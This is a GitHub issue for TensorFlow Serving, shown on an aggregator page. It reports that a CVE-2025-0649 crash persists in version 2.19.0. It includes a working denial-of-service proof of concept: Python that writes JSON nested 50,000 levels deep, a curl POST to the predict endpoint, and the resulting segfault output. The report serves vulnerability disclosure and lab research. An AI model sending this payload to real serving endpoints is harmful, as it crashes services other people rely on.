**CVE-2025-0649** - I think this issue still exists in version 2.19.0 - At least my lab suggests it is.
评估
这个 Issue 还没有评估数据。
描述
I am working on my book on adversarial AI: https://www.securitynik.com/2025/06/coming-soon-free-little-book-on.html and as part of that book I am talking about attacking the inference endpoint. As expected, version 2.18.0 of TF Serving is vulnerable to the JSON issue. We know this. However, when I try to show the mitigation is upgrading to 2.19.0, unfortunately this version also crashes.
Here is my code to create the file:
# Increase recurse_depth to 50_000
recurse_depth = 50_000
# Create a file on the file system
with open(file="/tmp/tf_serv_vuln.json", mode="w") as f:
# Write to the file
# This information should look similary to what you say earlier
f.write('{"instances": ' + ('[' * recurse_depth) + '0.5' + (']' * recurse_depth) + '}')
# verify the file has been created
!ls /tmp/tf_serv_vuln.json
Here is my curl command:
curl --request POST "http://localhost:8501/v1/models/vuln_tf_serv:predict" --header "Content-Type: application/json" --header "User-agent: securitynik_adversarial_ai_lab" --data-binary @/tmp/tf_serv_vuln.json
Here is the result to my curl command:
curl: (52) Empty reply from server
Here is the output from TF Serving console
[evhttp_server.cc : 261] NET_LOG: Entering the event loop ...
/usr/bin/tf_serving_entrypoint.sh: line 3: 7 Segmentation fault (core dumped) tensorflow_model_server --port=8500 --rest_api_port=8501 --model_name=${MODEL_NAME} --model_base_path=${MODEL_BASE_PATH}/${MODEL_NAME} "$@" ```
Here is my docker information:
sudo docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
tensorflow/serving 2.19.0 d871e064642e 2 months ago 729MB
here is also how I served the image:
``` sudo docker run --rm -p 8501:8501 --name=tfserving -v "/tmp/models/my_model:/models/vuln_tf_serv" -e MODEL_NAME=vuln_tf_serv tensorflow/serving:2.19.0```
Let me know if did something wrong on my end. Would love to know what I might have missed.
- 主要语言
- C++
- 星标
- 6.4k
- 派生
- 2.2k
- 平均合并
- 7 分钟
- 30 天内合并 PR
- 1
环境准备
- 没有 Dockerfile 或 Docker Compose 文件
- 没有 Pull Request 模板
- 阅读贡献指南
从这里开始
- 先读完整个 Issue，再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库，在一个分支上完成修改。
- 提交 Pull Request，并在描述里引用这个 Issue 编号。
tensorflow/serving 的其他 Issue
-
Vulnerability in Libgcrypt CVE-2026-41989可能重新可做 @jeelania10 于 66 天前认领，目前没有进行中的 PR。 未关闭stat:awaiting tensorflower type:support
tensorflow/serving#4139 · 1 条评论 · 已指派 1 人 ·
-
Error building TF Serving from source可能已有人在做 @bharatjetti 于 328 天前认领。 未关闭stat:contributions welcome type:build/install
tensorflow/serving#4108 · 8 条评论 · 已指派 1 人 ·
-
[Docs] Broken Links可能重新可做 @jeelania10 于 76 天前认领，目前没有进行中的 PR。 未关闭stat:contributions welcome type:docs
tensorflow/serving#2255 · 2 条评论 · 已指派 1 人 ·
-
stat:awaiting tensorflower
难度 5/5 一周以上 新手友好度 15/100
tensorflow/serving#2206 · 3 条评论 ·
-
Cannot load saved model from S3 bucket after tensorflow-serving 2.7可能重新可做 @nniuzft 于 1339 天前认领，目前没有进行中的 PR。 未关闭stat:awaiting tensorflower type:bug
tensorflow/serving#1963 · 23 条评论 · 5 个 reaction · 已指派 1 人 ·
查看 tensorflow/serving 的全部 Issue
相似的 Issue
-
难度 2/5 1-3 小时 新手友好度 78/100
维护者通常 1 天内回复
-
content good first issue
难度 1/5 1 小时以内 新手友好度 95/100
cpinitiative/usaco-guide#6699 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 65/100
codepointerapp/codepointer#231 ·
-
enhancement source/qq
难度 2/5 1-3 小时 新手友好度 72/100
metasequoiaime/msime-windows#1054 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 88/100
amnezia-vpn/amnezia-client#3297 · 1 条评论 ·
维护者通常 1 天内回复